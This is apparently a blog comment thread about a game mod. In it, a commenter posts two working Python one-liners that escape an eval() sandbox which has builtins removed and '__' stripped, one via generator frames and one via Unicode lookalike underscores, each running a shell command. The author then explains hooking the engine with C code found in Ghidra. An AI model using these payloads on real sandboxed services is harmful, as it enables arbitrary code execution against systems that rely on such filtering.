farlow

Great writing and cool project! I really enjoyed your intuitive explanations.

You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})

You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})

Neat, thanks for sharing!

The mod is ultimately just C code that is called from hooks installed into the game engine. Concretely, we overwrite an instruction in the game engine's render function with a jump to one of our C functions. Then we jump back to continue the render function when we're done.

The C code can do anything at this point. The remaining work is to crawl through Ghidra to find interesting addresses to read/write to and useful functions to call to affect the game engine. That entails some combination of reading through function and variable names, setting breakpoints in the Dolphin debugger to check values, and writing the mod code and testing if it does what I expect.